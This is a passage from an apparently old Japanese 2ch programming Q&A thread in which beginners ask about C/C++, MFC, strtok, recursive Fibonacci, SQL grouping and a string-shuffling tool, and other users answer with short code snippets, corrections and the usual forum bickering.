そんなしょうもないやり方で粘らんでもいいよ。
0199デフォルトの名無しさんNGNG
int main() {
    return 0;
}
0200デフォルトの名無しさんNGNG
4タブか、やっぱtabは4単位よねー
0201デフォルトの名無しさんNGNG
OpenJaneでタブ打つとフォーカスが移って入力できないぞ
0202デフォルトの名無しさんNGNG
ソフトウェアレンダラで良い3Dのライブラリはないでしょうか。
CかC++でお願いします。
0203田伏NGNG
テスト
0204田伏NGNG
あれ、表示されない。

>>201
同じく
0205デフォルトの名無しさんNGNG
コピペ
    しなはれ
        tabでフォーカス移動は
            OSなりGUIの仕様だお
0206デフォルトの名無しさんNGNG
>>201
かちゅでも同様
IEなどのブラウザでも無理だな
コピペ専用かと
0207デフォルトの名無しさんNGNG
>>205
GUIの仕様じゃなくてアプリの仕様だ。
0208デフォルトの名無しさんNGNG
仕様っつーか、WindowsのGUIについては一応のガイドラインがなかったけか。
0209デフォルトの名無しさんNGNG
>>208
ある
ALT+F4とか、TABとか、F1でヘルプとか、そういうのがMSから配られてた
Win95が出る前にサードパーティ各社に配られたもので、今手元にないけど
あれは仕様とかルールじゃなくて「できるだけこうしてね。ゲイツのお願い♥」だったと記憶してる
0210デフォルトの名無しさんNGNG
>>209
alt+F4は気にしないでも勝手に使えるからOSの仕様ってことかな
tabなんかはアプリで決められるからフォーカスの移動しなくできる
0211デフォルトの名無しさんNGNG
TAB移動って、Xとかもそう違うか?
0212デフォルトの名無しさんNGNG
MSが公開してるのは「アプリケーション仕様書」だよ。
MSの認定ロゴを取得するために必要な条件が書かれている。

http://www.microsoft.com/japan/msdn/library/ja/jpdnw2kcli/htm/AppSpecDesk.asp
0213209NGNG
>>212
俺が言ったヤツはそれよりもっと前
Win95のαかβ(この辺記憶があいまい)の頃に、MSKKのサードパーティ登録してた
会社に送られてた資料
>>212のはMSの認定ロゴを取るための仕様だから、あんまり関係ないと思うよ
0214デフォルトの名無しさんNGNG
>>209 Win95の前だとCUAかな。昔IBMが作った基準。
OS/2絡みでWin3.xまでは準拠してた記憶がある。
0215デフォルトの名無しさんNGNG
ヤフオクで「未登録」と称する中古のVisualStudioが
2000円で売ってたんだけど、
MSへ前のユーザーが登録していないか確認する方法って有るの?
0216デフォルトの名無しさんNGNG
未登録だろうとライセンス違反だ。
こんなところで違反行為の予告なんてしないでくれよ。
0217デフォルトの名無しさんNGNG
ちなみにTABでリンクをたどる操作は




MSが特許を持っている。
0218デフォルトの名無しさんNGNG
Ctrl+X/C/VってWin3.1でこっそり取り入れられてWin95から
標準になったんだっけか。
Shift+Ins/Ctrl+Ins/Shift+Delを使っている人まだいるかな?
0219デフォルトの名無しさんNGNG
エデタによってはデフォルトがそれじゃない?
xyzzyとか
0220デフォルトの名無しさんNGNG
フィボナッチ数列を再帰を用いて(for whileは使用禁止)、O(n)で計算するアルゴリズムが分かりません。
ヒントとしては「補助関数を使え」と言われました。
どなたかご教授お願い致します(できればCかOCamlでお願いします)
0221デフォルトの名無しさんNGNG
単に計算結果をハッシュしとけばいいんじゃないの
0222デフォルトの名無しさんNGNG
>>220
多分、こんな感じ。

int fibonatti( int val )
{
  if ( val == 1 ) return 1;
  if ( val == 2 ) return 1;
  return fibonatti( val - 1 ) + fibonatti( val - 2 );
}
0223デフォルトの名無しさんNGNG
O(n)になってないし
0224デフォルトの名無しさんNGNG
オブジェクト指向についての良いwebページ、もしくは良書ありませんか?
主観でいいのでお薦めあったら教えてくださいです
0225デフォルトの名無しさんNGNG
言語の指定はないのか?
0226デフォルトの名無しさんNGNG
>>225
オブジェクト指向に言語は関係無し。
0227デフォルトの名無しさんNGNG
>>224
オージス総研
わりと記事は面白いよ。

オージス総研-オブジェクトの広場
http://www.ogis-ri.co.jp/otc/hiroba/index.html
0228デフォルトの名無しさんNGNG
>>226
関係ないことはないだろ。
唯一無二の概念としてのオブジェクト指向があるわけでもなし。
言語から完全に独立した説明なんて遠回りなだけだ。
0229デフォルトの名無しさんNGNG
>>228
まともな論文の一本でも書いた事があるのか心配だ。
0230デフォルトの名無しさんNGNG
>>191
藻前のやりかたは糞だ
糞とみそを一緒にするな
0231デフォルトの名無しさんNGNG
君は抽象化が不完全だ
0232デフォルトの名無しさんNGNG
Eiffel オブジェクト指向入門 B.Meyer
ttp://www.amazon.co.jp/exec/obidos/ASIN/4756100503/249-9712723-5290710
0233デフォルトの名無しさんNGNG
実際オブジェクト指向の話をしても
実際にはどうやってプログラミングするんだっていう奴はいる。
だから言語と密接な解説の方がめんどくさくなくていいよ。
0234デフォルトの名無しさんNGNG
オブジェクト指向を学ぶ前に、非オブジェクト指向の言語で
構造化とか汎用化を考えたプログラミングを経験した方が良い。
0235224NGNG
>>227
早速読んできます。ありがとうです
>>225
個人的にはC++が理解しやすいですけど
まったく知らない言語に根ざしたものとかでも
良いものがあれば挙げてもらえるとうれしいデス
0236デフォルトの名無しさんNGNG
>>235
挙がってるんだが・・・
0237デフォルトの名無しさんNGNG
>>220
とりあえず。
#define Nm 100
int index = 1;
int buf[Nm]={1,1};

void fimp(int n)
{
 &bnsp;if(n-1>index){
 &bnsp; &bnsp;buf[index+1] = buf[index] + buf[index-1];
 &bnsp; &bnsp;++index;
 &bnsp; &bnsp;fimp(n);
 &bnsp;}
}

int fibonatt(int n)
{
 &bnsp;if(n==1 && n==2) return 1;

 &bnsp;if(Nm>n&&n>2) fimp(n);
 &bnsp;else if(n>=Nm) return -1;
 &bnsp;return buf[n-1];
}
0238デフォルトの名無しさんNGNG
あ゛。&nbsp;間違えた。まっいーや。
0239デフォルトの名無しさんNGNG
タブでインデントしろよ
0240デフォルトの名無しさんNGNG
>>220
((√5-1)^n+(√5+1)^n)/√5
とか
こんな感じの式
0241デフォルトの名無しさんNGNG
>>240
O(n)になってないし
0242デフォルトの名無しさんNGNG
戻り値を複数返せる言語はあるんですか?
0243デフォルトの名無しさんNGNG
Perlとか
0244デフォルトの名無しさんNGNG
>>242
すとらくちゃーでかえせーな。
0245デフォルトの名無しさんNGNG
構造体、クラスのインスタンスでも一つの変数だ
設計から見直せって意味かもしれんが、ズレた回答
0246デフォルトの名無しさんNGNG
>>243-245
あるのかどうか気になったんで、、
perlではそういうことできるんですね
0247デフォルトの名無しさんNGNG
C++なら std::pair とか
0248デフォルトの名無しさんNGNG
>>242
> 戻り値を複数返せる言語はあるんですか?
Common Lisp ならストラクチャとか使わないでも普通に返せます。
0249デフォルトの名無しさんNGNG
ガーベジコレクションとガベージコレクションどっちが好きですか?
ネイティブの発音だと「がーヴぃッじ」て漢字だけど
ガベージのほうがHIT多いのよね。
0250デフォルトの名無しさんNGNG
Javaってなんて発音するの?
0251デフォルトの名無しさんNGNG
どなたか教えてくださいませ。
学校で課題が出たんだけど全くわからねぇ…
提出日が今週末だってのに・・・
しかも出さなかったら卒業できないし…
問1
ウォーターフォールモデル・スパイラルモデル・プロトタイプモデル・RADの
各開発モデルの長所、短所の比較表を作りなさい。
問2
ユーザーインターフェースを設計する上での留意点を箇条書きで記述しなさい。
という問題なんですが・・・
0252デフォルトの名無しさんNGNG
ググリナサイ
0253デフォルトの名無しさんNGNG
CでCUIのhttpクライアントを作ろうとしてます。
今得たソースを丸ごと表示するところまで出来たんですが
タグを無視して読み込ませる為にはどうしたらいいですか?

参考:ttp://X68000.q-e-d.net/~68user/net/http-2.html
0254デフォルトの名無しさんNGNG
>>253
丸ごと読み取った後にタグ無視すればいいだろ
0255253NGNG
具体的なプログラムを聞いてもいいですか?
write(soc,buf,strlen(buf));
while(read(soc,&ch,1)!=0){
putchar(ch);
}
これだと読み取ってそのまま表示なんですけど
どう書いたらタグ無視できるかわからないです。
0256デフォルトの名無しさんNGNG
afxinet.hにCInternetSessionクラスの定義がありますよね
あれってメンバ関数にGETやPUTがあってなぜコピーがないのでしょうか?
要はUNIXなんかのリモートコンピュータ内でファイルをコピーしたいのですが
何をつかえばいいか教えてくださいませんか?
0257デフォルトの名無しさんNGNG
>>255
まずはネット無視して
const html = "<html><body>hello,world</body></html>";
というデータで試してみなよ。
bool intagとかってフラグを用意して
<ならtrue, >ならfalseをセットして
タグの外なら表示、中なら無視ってやればいい。
実際にはスクリプトや文法違反なソースがいっぱいあるから
いろいろ対応しないといけないけど。
0258デフォルトの名無しさんNGNG
テキストで書いたVRMLをIEで見たいのですが、どこでソフトを入れればいいのでしょうか?
0259デフォルトの名無しさんNGNG
「ドライバ」という言葉の語感が

「しゃべり場」「チョベリバ」「サイババ」

みたいですげえムカつくんですけど
この込み上げる熱い思いを抑えるにはどうしたらいいですか。
0260デフォルトの名無しさんNGNG
>>259
氏ねばいいとおもうよ
0261デフォルトの名無しさんNGNG
質問です。
MFCアプリケーション内でCreateThread()を呼び出すと
従来のCreateThread()ではなく、CWinThread::の物が呼び出されてしまいます。
ちょっとした都合上、旧来の方法でやりたいのですが、どうにか出来ないものでしょうか?
0262デフォルトの名無しさんNGNG
>>261
愚問だな
全てを旧来の環境にして作成し呼べ
0263デフォルトの名無しさんNGNG
C++で、m関数ポインタのポオイント先がNULLになってるとコンパイル時にエラーが出るようにしたいんですが、そういうことできますか?
0264デフォルトの名無しさんNGNG
>>261
::CreateThread()
^~(追加)
0265デフォルトの名無しさんNGNG
>>256
通信とファイル操作を混同しているな。

通信相手にファイルシステムがあるとは限らないだろ。
0266デフォルトの名無しさんNGNG
j2seってネイティブコードをはけないんですか?
0267デフォルトの名無しさんNGNG
おれジーパンはけます
0268デフォルトの名無しさんNGNG
「ソフトウェアアホンダラ」
0269デフォルトの名無しさんNGNG
>>263
その心は?
0270デフォルトの名無しさんNGNG
>>266
JavaのソースをEXEにするコンパイラはある
今はどうか知らんが、二年ほど前はあまりメリット無かった。色々な意味で。
0271デフォルトの名無しさんNGNG
gccでコンパイルできなかったっけ?
0272デフォルトの名無しさんNGNG

AUTO RUNされるCDROM内の1画像だけを差し替えたいのですけど
どこに頼めばいいでしょうか?

もしくは編集できるソフトとかあればお教えくださいませ。

もしくは1万円でやってくださいませ。
0273デフォルトの名無しさんNGNG
gcjなら可能だったか?
0274デフォルトの名無しさんNGNG
WinCDRだかWindowsXPの標準機能でできるだろって言うか板違い
0275デフォルトの名無しさんNGNG
>>266
JVM が実行時に適宜ネイティブコードにしてますが。
0276デフォルトの名無しさんNGNG
>>266
SUN以外からいろいろ出ている。
だが速度とかメモリとかはあまり期待しないほうがいい。
0277デフォルトの名無しさんNGNG
>>276
そうだよなぁ。最近はHotSpotで動かすので十分速いよ。
まぁショートカットにしないとアイコン付けれないとかの問題くらいか?
0278デフォルトの名無しさんNGNG
>>265
確かにGETやPUTは通信という解釈なのですが
RemoveDirectryやRename 等 はファイル操作のような気がして
しまいます。同じクラス内にもっているので
通信と混同して考えてしまっているかもしれないです。
単純にサーバに通信しサーバ内ローカルファイルの制御を行う方法
何かいい方法があればアドバイスください。よろしくお願いします。
0279デフォルトの名無しさんNGNG
HTTPじゃないのか? >GET&PUT
0280デフォルトの名無しさんNGNG
>>278
いいアドバイスをしてあげよう
君はプログラマに向いてない
0281デフォルトの名無しさんNGNG
>>279
P(プロトコル)とつくものは通信ですよね

>>280
私はプログラマーではありません。事務員です
0282デフォルトの名無しさんNGNG
じゃプログラミングするな
0283デフォルトの名無しさんNGNG
事務員がプログラム組んじゃ行けないという法律はありません。
作業を軽減するための重要な仕事なのです。
というかマジメなアドバイスをお願いします。煽りを求めに来た訳ではありません
ご理解お願いします。
0284デフォルトの名無しさんNGNG
GETしてPUTしたら?
0285デフォルトの名無しさんNGNG
>>284
それではPUTした時に更新日付とか変わってしまいます。
ローカルに取り込む時点で改行コードや漢字コードも考慮しないといけなくなりますし
どうしても同一ノード間でファイル制御を行うように作りたいのです。
0286デフォルトの名無しさんNGNG
vc++.netなんですけど、

class a{
public:
int n;
};
class b : public a{
public:
b(int n):n(n){}
};

とやると
error C2614: 'b' : イニシャライズ リスト内のクラス 'n' が基本クラスでもメンバでもありません。
とエラー出るんですがこの方法じゃ親クラスのメンバはイニシャライズ出来ないのですか?
0287デフォルトの名無しさんNGNG
>>285
CInternetSessionにこだわるかぎり、できないものはできないんだからしかたない。
0288デフォルトの名無しさんNGNG
んなもん、HTTPやFTPでやってる限り無理だろ。
TELNETで入ってコピーしろよ。
0289デフォルトの名無しさんNGNG
>>288
TELNETなんか薦めるなよ。SSHだろ。
0290デフォルトの名無しさんNGNG
この事務員さんが作るプルグラムで、だぞ
MFCにあるの?
知らんけどTELNETならありそうだと思っただけー
0291デフォルトの名無しさんNGNG
コピーを行うCGIプログラムを置いてそれを呼んでみるとか。もちろんHTTPで。
0292デフォルトの名無しさんNGNG
コピーコマンドを作成しサーバ上でセクション起動う作りで
試してみます。ありがとうございました。
0293デフォルトの名無しさんNGNG
あいうえお,かきくけこ,・・・・・・・・・・・・あいうえお,かきくけこ・・・

上記のようなカンマ区切りのテストデータが一行に千文字あるのですが
charの配列<char[]>ですと256バイトまでしか読み込めないため、
エラーとなってしまいます

c又は、c++,VC++で256以上の文字を格納できる方法はありませんでしょうか。
できればCがいいのですが・・・。

よろしくお願い致します。
0294デフォルトの名無しさんNGNG
> charの配列<char[]>ですと256バイトまでしか読み込めないため、

意味不明
0295デフォルトの名無しさんNGNG
mallocでもしてヒープに確保しろよとは思うが、
> charの配列<char[]>ですと256バイトまでしか読み込めないため、
色々とツッコミ所多そうだな
0296デフォルトの名無しさんNGNG
<char[]>というテンプレでもあるのかと小一時間
0297デフォルトの名無しさんNGNG
まぁソースとエラーのコピペ出してみ?
いろいろつっこんでもらえると思うよ。
0298デフォルトの名無しさんNGNG
>>293
std::string
0299デフォルトの名無しさんNGNG
codeProjectの様なサイトって他にどこがありますか?
0300デフォルトの名無しさんNGNG
すいません
iModeのJAVAアプリに関する質問をしたいんですが

板違いでしょうか?
0301デフォルトの名無しさんNGNG
>>300
この板でいいよ

【初心者歓迎】iアプリ相談室
http://pc5.2ch.net/test/read.cgi/tech/1089530578/

iモード携帯電話用Java(iアプリ) Part 6
http://pc5.2ch.net/test/read.cgi/tech/1091286071/
0302デフォルトの名無しさんNGNG
>>301
ありがとうございます

行って来ます
0303デフォルトの名無しさんNGNG
初心者なんですけど質問させてください
クラスが作成された数を自分自身にもたせようと思い以下のソースを書いてみたのですがコンパイラが通りません
Javaで同じようなプログラムを作ったときには動いたんですけどなにが違うんでしょうか

#include <iostream>
using namespace std;

class test{
public:
static count=0;

test(){ count++; }
~test(){ count--; }
};

int main(){
return 0;
}
0304デフォルトの名無しさんNGNG
staticメンバはそこで初期化はできない&それじゃ実体が無い
つか、countの型指定はどこや、そんなんJavaでもコンパイルできねぇだろ。
0305デフォルトの名無しさんNGNG
それじゃどこで初期化すればいいんですか?
classの外ですか?
0306デフォルトの名無しさんNGNG
( ´Д`) 訊く前に試せよ、つか本読めよ
0307デフォルトの名無しさんNGNG
質問しても答えが返ってこねーのかよ、スレタイ変えたら?
0308デフォルトの名無しさんNGNG
>ぐぐってから聞け。
http://www.google.co.jp/search?q=C%2B%2B+static+%E3%83%A1%E3%83%B3%E3%83%90+%E5%88%9D%E6%9C%9F%E5%8C%96

問題点は指摘してるだろ。
0309デフォルトの名無しさんNGNG
>>308
ありがとう

正直なとこぐぐったらたいていのとこはわかると思うんだが、それがったらこのスレの存在意義はないわな
ついでに初期化をclass外でするのはどうかと思った(初心者発言だ無視してくれ)
0310デフォルトの名無しさんNGNG
>>309
そのたいていのことすらわからなかった人間が何を言う
0311デフォルトの名無しさんNGNG
質問です
どうして最近の質問者は「質問が返ってくることが当然」だと思っているんですか?
回答者は質問に回答することが仕事だとでも思っているんでしょうか?
2chでの質問なんか、回答者が回答するヒマがあって、回答する知識があって、
回答する意思があってはじめて回答がもらえるという不確実なものだという程度の
思考すら働かないのでしょうか?
あと、自分で調べる意思も能力もない奴がなんで偉そうなんですか?
無能者ほど態度がでかい、ってことでしょうか?
わかりません。誰か教えてください
0312デフォルトの名無しさんNGNG
こたえる気がないならスルーしとけ。一々粘着するな。うざい邪魔。
0313デフォルトの名無しさんNGNG
_________________________
    <○√
     ‖ 
     くく
しまった!ここには回答者が居ない!
オレが相手しているうちに他のスレで訊け!
早く!早く!オレに構わず逝け!
0314デフォルトの名無しさんNGNG
>>312
逆パターンもあるだろ
質問したくなることがあってこのスレを訪れても
前の質問者が厨房だったら質問しづらいだろう
誰だって同類と思われたくはないだろうしな
0315デフォルトの名無しさんNGNG
今からここは質問のみのスレになりました
0316デフォルトの名無しさんNGNG
メタ議論禁止
0317デフォルトの名無しさんNGNG
>>312
お前のレス自身に当てはまってると気づこうな。
こたえる気がないならスルーしとけ。一々粘着するな。うざい邪魔。
0318デフォルトの名無しさんNGNG
>>311
>>317
人間的に馬鹿
0319デフォルトの名無しさんNGNG
詮索エンジンでC++についてのサイトを探す時、
キーワードに C++ といれてもjavaやVBやその他の言語のサイトばかり引っかかってしまうんですが、
C++に限定させられません?
0320デフォルトの名無しさんNGNG
>>319
それくらいググれ
0321デフォルトの名無しさんNGNG
>>319
ヘルプ読めとかreadmeに書いてあるだろうがとかよく言われるでしょ
0322デフォルトの名無しさんNGNG
windows picture and fax viewer で画像を開く時、
絵ごとに別のウインドウで開くにはどう設定したらいいですか?
0323デフォルトの名無しさんNGNG
>>322
この板はプログラムを作る人のための板です。
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
ウイルス、ハッキング・クラッキングを求めるような発言は禁止です。
Javascript は Web 制作板、CGI は Web プログラミング板へ。
業界談義、愚痴はプログラマ板へどうぞ。
ゲーム関係の話題はゲーム製作板へどうぞ。
ネタ、板とは関係の無い話題はご遠慮ください。
0324322NGNG
>>323
失礼しました。
0325デフォルトの名無しさんNGNG
PDFの仕様書の日本語版か、
Java用のSDKってありますか?
0326デフォルトの名無しさんNGNG
あるよ
0327デフォルトの名無しさんNGNG
while(n%m)ってどういう意味の条件ですか?
なんかバカみたいな質問でごめんなさい。
だれか教えてください
0328デフォルトの名無しさんNGNG
nがmで割り切れないとき繰り返す
0329デフォルトの名無しさんNGNG
>>327
n%mの結果が0意外であれば繰り返せ
n%mはn/mの余り
対象の言語くらい書くかその言語のスレで聞けよ
0330デフォルトの名無しさんNGNG
>>329
元ネタ
http://pc5.2ch.net/test/read.cgi/tech/1097592876/169-199
0331デフォルトの名無しさんNGNG
>>330
ひでぇスレだなおい
0332デフォルトの名無しさんNGNG
DLL内のグローバル引数ってDLL使う側のと共有されるん?
0333デフォルトの名無しさんNGNG
exportされたグローバル変数のことか?
だったら共有される
0334デフォルトの名無しさんNGNG
>>333
サンクス
0335デフォルトの名無しさんNGNG
入力された文字列をシャッフルして出力するツールってありませんか?
ぐぐろうにも、どうやって探していいかわからず困っています。
例えば「吾輩は猫である」と入力すると「猫あ吾る輩では」と出力されるような
そんなものを求めています。できれば長文がシャッフルできるものを。
0336デフォルトの名無しさんNGNG
>>335
日本語対応だと探すのはめんどいな
作るのはそんなに難しくないわけだが、勉強がてら自分で作ったら?
0337デフォルトの名無しさんNGNG
自分で作れるような技術があればここできかないっちゅーか
プログラムなんて中学でBASICをちょこっと習っただけであとは何もしらないっちゅーか。
0338デフォルトの名無しさんNGNG
>>337
この板はプログラムを作る人のための板です。
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
ウイルス、ハッキング・クラッキングを求めるような発言は禁止です。
Javascript は Web 制作板、CGI は Web プログラミング板へ。
業界談義、愚痴はプログラマ板へどうぞ。
ゲーム関係の話題はゲーム製作板へどうぞ。
ネタ、板とは関係の無い話題はご遠慮ください。
0339デフォルトの名無しさんNGNG
一応前向きに聞き返してみよう。
自分で作ったら?といわれて「じゃあやってみるか」となるためには
最低限何がわかっていればいいですか?
0340デフォルトの名無しさんNGNG
>>339
常識
0341デフォルトの名無しさんNGNG
>>338
うん、そのローカルルールを読んだ上で「じゃあここで聞くべきか」と思って聞いてる。
「プログラム・ソフトの使い方」じゃないでしょ?
0342デフォルトの名無しさんNGNG
>>341
あなたはプログラムを作る人ですか?
0343デフォルトの名無しさんNGNG
>>340
「(プログラマにおける)常識」って理解でいいの?
0344デフォルトの名無しさんNGNG
>>342
「プログラムを作る人に質問をしたい人」なんだけど
そうすると必然的にこの板で聞くしかなくない?
0345デフォルトの名無しさんNGNG
>>343
あなたは他人にテニスを「じゃあやってみるか」と言わせるには
どんな言葉をかけますか?
0346デフォルトの名無しさんNGNG
どっちかっつーとソフトウェア板とかじゃねえ?あんたは作る気ないんでしょ?
0347デフォルトの名無しさんNGNG
>>345
・最低限必要な道具
・その予算
・ゲームを楽しむために最低限必要な知識(ルールなど)
・初級の技術を覚えられる場所や資料
・テニスをする相手に会える場所または方法
を提示した上で、それらの条件が比較的容易であることを示す。
そして、
・テニスをすることによって得られるもの
 (爽快感とかダイエットの効能とか友情とか、試合の勝者に送られるものとか)
を示して、興味を誘う。
興味を持てば「じゃあやってみるか」と言うかな。

って>>345は何か例えの出し方を間違ったんじゃないかと心配。
0348デフォルトの名無しさんNGNG
>>347
で、あなたは自分で作るの?作らないの?
0349デフォルトの名無しさんNGNG
>>346
そうなの?
いや別に作る気が全く無いわけじゃなくて、既製品が存在しなくて
なおかつ自分で作れるものなら作るけど、おそらく私には作れないんでしょう?
ここまでの話の流れを見る限り。
0350デフォルトの名無しさんNGNG
>>344
>「プログラムを作る人に質問をしたい人」
この前提がまずおかしいな

あえて言えば
「プログラムを使う人に質問をしたい人」だろ?おまえは。
ソフトのありか知りたいだけなんだから

板違いじゃん。しかも質問の仕方が悪いから荒れ気味だし。

自ら自分の首をしめるタイプだな。おまえは
まぁ、それもいいだろう
0351デフォルトの名無しさんNGNG
>>350
OK。ではこの話は終了。
0352デフォルトの名無しさんNGNG
うん、だから
「何が必要?」って聞いて「常識」って答えしか返ってこなかったので
それはつまり「オマエには作れないだろ」って意味だと受け取ったんだけど
>>347みたいに、細かい条件が提示されるなら
自分で作れるかどうか改めて検討してみるさ。
そりゃもちろん作れるものなら自分で作るよ。
0353デフォルトの名無しさんNGNG
>ネタ、板とは関係の無い話題はご遠慮ください。

まぁなんだ。この一文に引っかかるわけだ。
なんとも面白みのないスレになってしまうとは思うが。
0354デフォルトの名無しさんNGNG
本屋で入門書でも読んでくればいいじゃんか
0355デフォルトの名無しさんNGNG
>>350
ああ、なるほどね
じゃあ
「プログラムを作る人に質問をしたい人」 →ここ
「プログラムを使う人に質問をしたい人」→ソフトウェア板
ってことでいいのかな
0356デフォルトの名無しさんNGNG
>>355
正直、ここの連中にとってはそんなに難しいものでもないんだ
だが、「お前の態度が気に入らない」ってだけなんだ
0357デフォルトの名無しさんNGNG
そうか
具体的に何が気に障ったのかちょっとよくわからないが
言葉遣いに関しては馴れ馴れしすぎたことは否めないので
そこのところは謝罪しておきます。申し訳ありません。

とりあえずソフトウェア板で聞いてみるので>>335はいったん解決した方向で。
向こうで「そんなものあるかボケ、自分で作れ」って扱われた場合は
今度こそここに(正当な理由とともに)戻ってくるのでそのときはまたよろしく。
0358デフォルトの名無しさんNGNG
>一応前向きに聞き返してみよう。
>自分で作ったら?といわれて「じゃあやってみるか」となるためには
>最低限何がわかっていればいいですか?
マジレスすると
「やる気」と「礼儀」があれば多少板違いだろうが
十分ここの住人だってちゃんと質問に答えてくれる。

しかし
おまえにはその両方とも感じられない。

よって
おまえは自分の欲しい答えすら手に入れられない。
0359マイク ◆yrBrqfF1Ew NGNG
2chねらマンセーさんが礼儀とはおめでてーな。
0360デフォルトの名無しさんNGNG
>>357
もし戻ってくるのであれば、仕様するOS、言語や操作方法(CUIやGUIなど)
入力方法、出力方法、文字コードなど、いわゆる仕様を書いてくれよ
プログラマにとってはそれがあればいいなと思うのが常識だから・・・
0361デフォルトの名無しさんNGNG
ち。漢字間違えた。
0362デフォルトの名無しさんNGNG
そうだな。

プリクラだったら
入力した文字がシャッフルされてプリントされるやつあるよw
0363デフォルトの名無しさんNGNG
ウインドウズ用なら作ってもいいです。
0364デフォルトの名無しさんNGNG
質問です。
8つの任意の座標があって
それらのもっとも隣接してる座標を求めるプログラムを書きたいのですが
どのようにすればいいのでしょうか?
1つ1つifで比較していくのでしょうか?
0365デフォルトの名無しさんNGNG
それでできるよ。
0366デフォルトの名無しさんNGNG
フリーのドローツールはありませんか?
ペイントツールならいっぱいあるんですが、、、
0367デフォルトの名無しさんNGNG
ありますよ。
ウインドウズ用なら作ってもいいですよ。

ところで、シャッフルはどこにウプすればいいんですか?
0368デフォルトの名無しさんNGNG
好きなところに
0369デフォルトの名無しさんNGNG
>>368
コードくらいは書いてもいいんですが、場所探すのはめんどくさいなぁ・・・
まぁ、また今度ウプする場所があれば、もう一度書きますね。
0370デフォルトの名無しさんNGNG
strtokでカンマ区切りのデータを読み込んで表示させようとしているのですが
以下のテストデータの場合、先頭の"1"しか表示されません。

○テストデータ
1,2,3,4,5


以下抜粋です。なにが悪いのでしょうか?頭が悪いのは承知してます。


char *bunkatustr;//分割された文字列のポインタ
char seps[] = ",";//文字列分割文字:カンマ

hFile = CreateFile("C:\\test_data.csv" , GENERIC_READ , 0 , NULL ,
OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL , NULL);

for(i =0; i<KOUMOKUSUU ; i++)
{
bunkatustr = strtok( strFile, seps);
MessageBox(NULL , bunkatustr ,bunkatustr, MB_OK);
}
0371デフォルトの名無しさんNGNG
二度目以降のstrtok()の呼び出しでは、第一引数にNULLポインターを指定しろ
0372デフォルトの名無しさんNGNG
   ( ・∀・)   | | ガッ
  と    )    | |
    Y /ノ    人
     / )    <  >__Λ∩
   _/し' //. V`Д´)/
  (_フ彡        /
0373デフォルトの名無しさんNGNG
略してへんのに叩くな
0374デフォルトの名無しさんNGNG
リャクストカ リャクサナイトカ カンケイナインダヨ
   ( ・∀・)   | | ガッ
  と    )    | |
    Y /ノ    人
     / )    <  >__Λ∩
   _/し' //. V`Д´)/
  (_フ彡        /
0375デフォルトの名無しさんNGNG
コンテナに乗ってるコントロール毎インスタンスを作るのってどうすればできますか?
0376デフォルトの名無しさんNGNG
言語も環境も書かないでどんな回答が得られるんだ。
0377デフォルトの名無しさんNGNG
叩いて良いのはヌルポインタ例外の時だろ。
0378デフォルトの名無しさんNGNG
>>335 Delphi6 によるコード例

type
  TIntArray = array[1..100] of integer;

procedure ShuffleInt(var IntArr: TIntArray; Num: integer);
var
  i,k,m:integer;
begin
  Randomize;
  for i := 1 to Num do IntArr[i] := i;
  for i := Num downto 1 do begin
    k := Random(i-1)+1; m := IntArr[i];
    IntArr[i] := IntArr[k]; IntArr[k] := m;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  ss1,ss2:WideString;
  IntArr:TIntArray;
  i:integer;
begin
  ss1 := Edit1.Text;
  ShuffleInt(IntArr,Length(ss1));
  SetLength(ss2,Length(ss1));
  for i := 1 to Length(ss1) do ss2[i] := ss1[IntArr[i]];
  Edit2.Text := ss2;
end;

実行例
Edit1.Text  我輩は猫である春夏秋冬 → Edit2.Text  春我猫る秋冬夏あ輩はで
0379デフォルトの名無しさんNGNG
C++で普通に
locale::global(std::locale("japanese"));
wstring ws;
while(getline(wcin, ws)){
random_shuffle(ws.begin(), ws.end());
wcout<<ws<<endl;
}
てな感じかな。
0380デフォルトの名無しさんNGNG
>>376
C#です。
0381SQL初心者NGNG
SQLでのデータ取得の方法が3時間わからないので質問させてください。

DBはACCESS2000です。
テーブルの構造は
ID SEQ DATE
------------
1 0 10:00
1 1 11:00
2 0 5:00
3 0 23:10
3 1 22:40
3 2 10:08
4 0 21:00
という感じで、IDが主キー1、SEQが主キー2です。

これをIDを重複させずにORDER BY ID,DATE DESCで持ってきたいのです。
ID SEQ DATE
------------
1 1 11:00
2 0 5:00
3 0 23:10
4 0 21:00
という感じです。

自分なりにいろいろ考えたのですがどうしてもIDが重複してしまいます。
DISTINCT使うとORDER BYで怒られてしまいます。
どなたかよろしくお願いします・・・。
0382デフォルトの名無しさんNGNG
自分が何をしようとしているかをもう一度見詰め直してみよう
0383デフォルトの名無しさんNGNG
IDでグループ分けして、グループの一行目を取って来るとかじゃないのかな。
具体的なSQLの関数はしらね。
0384デフォルトの名無しさんNGNG
データベース板のほうがいいと思う
0385デフォルトの名無しさんNGNG
オッス、オラ狂ぅ
0386デフォルトの名無しさんNGNG
もうすぐ基本情報が近いから必死なのか?
0387デフォルトの名無しさんNGNG
select * from (select * from test order by data desc) group by id order by id;
0388デフォルトの名無しさんNGNG
>>381
>という感じです。
とか言われても、訊いてる人間からして
「同一IDの場合、どのSEQを選択するか」が
解らないんでは
答えようがない。
0389デフォルトの名無しさんNGNG
コンソールアプリで常駐プログラムってどうやって作るん?

while(1){
  //処理
}

とかやるとCPU使用率100%になるんだけど
0390デフォルトの名無しさんNGNG
while(1){
  //処理
  sleep(1);
}
とかやるかイベントドリブンなコードにしとけ。
0391デフォルトの名無しさんNGNG
>>390
おーセンキュー
0392デフォルトの名無しさんNGNG
昔、BASICやFORTRANやCOBOLなどのプログラムはすべてアルファベットの大文字で書かれていた
記憶があるのですが、最近はすべて小文字で書いているのをよく見かけます。何かあったんでしょうか?
やはり見易さの問題ですか?それとも単なる流行?

また、プログラム言語とは違いますが、HTMLのタグなんかも以前は大文字で書かれているのをよく見かけ
ましたが、最近は小文字で書くのが主流になっているようです。何か思想的背景でもあるのでしょうか?
0393デフォルトの名無しさんNGNG
HTML4.01とかはともかく、XHTMLは小文字で。

昔っからCは変数名、関数名は小文字で定数を大文字、ってのが割と一般だと。
BASICも全部大文字では書かないだろ?
0394デフォルトの名無しさんNGNG
>>392
今:
普通、英文は小文字の方が大文字よりも多いから、
小文字の方が親しみやすい。

昔:
大文字と小文字の両方の文字を用意するのは無駄だ。
大文字だけにしよう。
0395デフォルトの名無しさんNGNG
>>151
おそくなたけどthx
0396デフォルトの名無しさんNGNG
